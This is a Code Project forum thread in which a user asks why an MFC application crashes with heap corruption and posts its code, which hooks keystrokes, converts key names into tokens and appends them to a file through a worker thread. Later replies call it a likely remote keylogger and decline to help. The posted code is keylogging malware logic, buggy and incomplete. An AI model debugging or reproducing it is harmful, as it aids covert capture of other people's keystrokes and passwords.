Skip to content
  • Categories
  • Recent
  • Tags
  • Popular
  • World
  • Users
  • Groups
Skins
  • Light
  • Cerulean
  • Cosmo
  • Flatly
  • Journal
  • Litera
  • Lumen
  • Lux
  • Materia
  • Minty
  • Morph
  • Pulse
  • Sandstone
  • Simplex
  • Sketchy
  • Spacelab
  • United
  • Yeti
  • Zephyr
  • Dark
  • Cyborg
  • Darkly
  • Quartz
  • Slate
  • Solar
  • Superhero
  • Vapor

  • Default (No Skin)
  • No Skin
Collapse
Code Project
  1. Home
  2. General Programming
  3. C / C++ / MFC
  4. Applicatio crash

Applicatio crash

Scheduled Pinned Locked Moved C / C++ / MFC
helpdebugging
6 Posts 5 Posters 0 Views 1 Watching
  • Oldest to Newest
  • Newest to Oldest
  • Most Votes
Reply
  • Reply as topic
Log in to reply
This topic has been deleted. Only users with topic management privileges can see it.
  • C Offline
    C Offline
    cjsc
    wrote on last edited by
    #1

    Hi member i am sock my application crash eventually.I am using 2008 and got assertion.

    Windows has triggered a breakpoint in ABC.exe.
    This may be due to a corruption of the heap, which indicates a bug in ABC.exe or any of the DLLs it has loaded.
    This may also be due to the user pressing F12 while ABC.exe has focus.
    The output window may have more diagnostic information.

    Can any tool is there which denote me where i am wrong. Forum member every help increase me.

    L 1 Reply Last reply
    0
    • C cjsc

      Hi member i am sock my application crash eventually.I am using 2008 and got assertion.

      Windows has triggered a breakpoint in ABC.exe.
      This may be due to a corruption of the heap, which indicates a bug in ABC.exe or any of the DLLs it has loaded.
      This may also be due to the user pressing F12 while ABC.exe has focus.
      The output window may have more diagnostic information.

      Can any tool is there which denote me where i am wrong. Forum member every help increase me.

      L Offline
      L Offline
      loyal ginger
      wrote on last edited by
      #2

      Please post some code here.

      C 1 Reply Last reply
      0
      • L loyal ginger

        Please post some code here.

        C Offline
        C Offline
        cjsc
        wrote on last edited by
        #3

        LRESULT CABCDlg::processkey(WPARAM w, LPARAM l)//This block processes the keystroke info. { try { if(hook==1) { GetKeyNameText(l,buffer,20); _strlwr(buffer); if(strlen(buffer)>1) { subst("shift","<SHIFT>"); subst("right shift","<SHIFT>"); subst("tab","<TAB>"); subst("space"," "); subst("backspace","<BACKSPACE>"); subst("delete","<DEL>"); subst("left","<LEFT>"); subst("down","<DOWN>"); subst("up","<UP>"); subst("right","<RIGHT>"); subst("num /","/"); subst("num *","*"); subst("num -","-"); subst("num 0","0"); subst("num 1","1"); subst("num 2","2"); subst("num 3","3"); subst("num 4","4"); subst("num 5","5"); subst("num 6","6"); subst("num 7","7"); subst("num 8","8"); subst("num 9","9"); subst("num +","+"); subst("num enter","<ENTER>"); subst("num del","<DEL>"); subst("esc","<ESC>"); subst("enter","<ENTER>"); subst("caps lock","<CAPSLOCK>"); subst("num lock","<NUMLOCK>"); subst("scroll lock","<SCROLLLOCK>"); subst("ctrl","<CTRL>"); subst("alt","<ALT>"); subst("right ctrl","<CTRL>"); subst("right alt","<ALT>"); subst("pause","<PAUSE>"); subst("insert","<INSERT>"); subst("home","<HOME>"); subst("end","<END>"); subst("page up","<PGUP>"); subst("page down","<PGDN>"); subst("f1","<F1>"); subst("f2","<F2>"); subst("f3","<F3>"); subst("f4","<F4>"); subst("f5","<F5>"); subst("f6","<F6>"); subst("f7","<F7>"); subst("f8","<F8>"); subst("f9","<F9>"); subst("f10","<F10>"); subst("f11","<F11>"); subst("f12","<F12>"); } if(keycount>50) { diskfile->Flush(); keycount = 0; } writedata=AfxBeginThread(WorkerThreadProc,(LPVOID)this); } else { } return 0; } catch (...) { } } UINT WorkerThreadProc( LPVOID Param ) { try { CABCDlg *p=(CABCDlg *) Param; CStdiofile myFile; if( myFile.Open( cpath, CStdioFile::modeCreate | CStdioFile::modeWrite | CStdioFile::modeNoTruncate, &e ) ) { myFile.Writestring(buffer); myFile.close(); } } catch (...) { AfxMessageBox("AddString Final"); } }

        H 1 Reply Last reply
        0
        • C cjsc

          LRESULT CABCDlg::processkey(WPARAM w, LPARAM l)//This block processes the keystroke info. { try { if(hook==1) { GetKeyNameText(l,buffer,20); _strlwr(buffer); if(strlen(buffer)>1) { subst("shift","<SHIFT>"); subst("right shift","<SHIFT>"); subst("tab","<TAB>"); subst("space"," "); subst("backspace","<BACKSPACE>"); subst("delete","<DEL>"); subst("left","<LEFT>"); subst("down","<DOWN>"); subst("up","<UP>"); subst("right","<RIGHT>"); subst("num /","/"); subst("num *","*"); subst("num -","-"); subst("num 0","0"); subst("num 1","1"); subst("num 2","2"); subst("num 3","3"); subst("num 4","4"); subst("num 5","5"); subst("num 6","6"); subst("num 7","7"); subst("num 8","8"); subst("num 9","9"); subst("num +","+"); subst("num enter","<ENTER>"); subst("num del","<DEL>"); subst("esc","<ESC>"); subst("enter","<ENTER>"); subst("caps lock","<CAPSLOCK>"); subst("num lock","<NUMLOCK>"); subst("scroll lock","<SCROLLLOCK>"); subst("ctrl","<CTRL>"); subst("alt","<ALT>"); subst("right ctrl","<CTRL>"); subst("right alt","<ALT>"); subst("pause","<PAUSE>"); subst("insert","<INSERT>"); subst("home","<HOME>"); subst("end","<END>"); subst("page up","<PGUP>"); subst("page down","<PGDN>"); subst("f1","<F1>"); subst("f2","<F2>"); subst("f3","<F3>"); subst("f4","<F4>"); subst("f5","<F5>"); subst("f6","<F6>"); subst("f7","<F7>"); subst("f8","<F8>"); subst("f9","<F9>"); subst("f10","<F10>"); subst("f11","<F11>"); subst("f12","<F12>"); } if(keycount>50) { diskfile->Flush(); keycount = 0; } writedata=AfxBeginThread(WorkerThreadProc,(LPVOID)this); } else { } return 0; } catch (...) { } } UINT WorkerThreadProc( LPVOID Param ) { try { CABCDlg *p=(CABCDlg *) Param; CStdiofile myFile; if( myFile.Open( cpath, CStdioFile::modeCreate | CStdioFile::modeWrite | CStdioFile::modeNoTruncate, &e ) ) { myFile.Writestring(buffer); myFile.close(); } } catch (...) { AfxMessageBox("AddString Final"); } }

          H Offline
          H Offline
          hxhl95
          wrote on last edited by
          #4

          Looks awfully like a remote keylogger. :~

          T 1 Reply Last reply
          0
          • H hxhl95

            Looks awfully like a remote keylogger. :~

            T Offline
            T Offline
            Tim Craig
            wrote on last edited by
            #5

            hxhl95 wrote:

            Looks awfully like a remote keylogger.

            Lucky he's a lousy programmer? :laugh:

            You measure democracy by the freedom it gives its dissidents, not the freedom it gives its assimilated conformists.

            R 1 Reply Last reply
            0
            • T Tim Craig

              hxhl95 wrote:

              Looks awfully like a remote keylogger.

              Lucky he's a lousy programmer? :laugh:

              You measure democracy by the freedom it gives its dissidents, not the freedom it gives its assimilated conformists.

              R Offline
              R Offline
              Rajesh R Subramanian
              wrote on last edited by
              #6

              Yep. :laugh:

              “Follow your bliss.” – Joseph Campbell

              1 Reply Last reply
              0
              Reply
              • Reply as topic
              Log in to reply
              • Oldest to Newest
              • Newest to Oldest
              • Most Votes


              • Login

              • Don't have an account? Register

              • Login or register to search.
              • First post
                Last post
              0
              • Categories
              • Recent
              • Tags
              • Popular
              • World
              • Users
              • Groups